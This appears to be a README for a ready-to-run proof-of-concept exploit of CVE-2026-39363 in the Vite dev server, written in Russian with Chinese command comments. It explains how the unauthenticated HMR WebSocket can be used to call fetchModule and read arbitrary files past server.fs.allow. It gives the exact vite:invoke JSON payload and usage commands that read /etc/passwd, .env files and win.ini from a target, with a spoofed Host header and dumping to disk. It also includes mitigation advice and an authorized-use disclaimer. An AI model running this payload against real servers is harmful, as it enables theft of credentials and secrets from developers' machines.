
Удобный и практичный инструмент для эксплуатации CVE-2026-39363
Готовый к запуску PoC для GHSA-p9ff-h696-f583. Через неаутентифицированный HMR WebSocket
вызывается fetchModule, что обходит ограничение server.fs.allow на HTTP-уровне и читает
произвольные файлы на машине, где запущен dev server.
| Линейка версий | Затронуты | Исправлено |
|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (ветка VoidZero) | <=0.1.15 | 0.1.16 |
Предпосылки эксплуатации:
--host / server.host), иserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
CISA SSVC пометила exploitation=poc, automatable=yes.
server.fs.allow (/@fs/<абсолютный путь> → 403).Sec-WebSocket-Protocol: vite-hmr, а также?token= требуется только при наличии заголовка Origin (CWE-306: не-браузерный клиент
может подключиться напрямую без заголовка Origin).vite:invoke, вызывающее зарегистрированный на сервере метод fetchModule
с аргументом file://<абсолютный путь>?raw. fetchModule напрямую проходит конвейер transform модулей,
полностью обходя проверку fs.allow, и возвращает содержимое файла как export default "..."
(CWE-200).Структура сообщения запроса vite:invoke (одинакова для v6/v7/v8):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
В ответе сервера id меняется на 1response, а data.data.result.code содержит содержимое файла.
Требуется только стандартная библиотека Python 3, без сторонних зависимостей:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
Параметры:
| Параметр | Описание |
|---|---|
url | Цель, например http://192.168.1.10:5173 |
files | Абсолютные пути для чтения, в стиле POSIX или Windows |
--host-header | Поддельный заголовок Host (по умолчанию — host цели). По умолчанию разрешены только IP/localhost, для пользовательских доменов требуется явная настройка |
--ws-path | Путь HMR WebSocket, по умолчанию / (измените, если на цели настроен server.hmr.path) |
--timeout | Таймаут одного запроса в секундах, по умолчанию 10 |
-o/--output-dir | Сохраняет прочитанное содержимое в каталог |
PoC из этого репозитория успешно протестирован в следующих окружениях (чтение secret.txt за пределами корня dev server; HTTP-путь @fs для того же файла возвращал 403):
vite --host 0.0.0.0, Windows)Шаги воспроизведения (та же цепочка, что и в PoC):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + статический хостинг, не запускайте vite dev.server.ws: false или добавьте обратный прокси, разрешающий доступ к порту dev server только с локальной машины.Только для использования в авторизованных тестах на проникновение, воспроизведении уязвимостей и исследованиях в области защиты. Ответственность за последствия использования этого инструмента против чужих систем без разрешения несёт пользователь.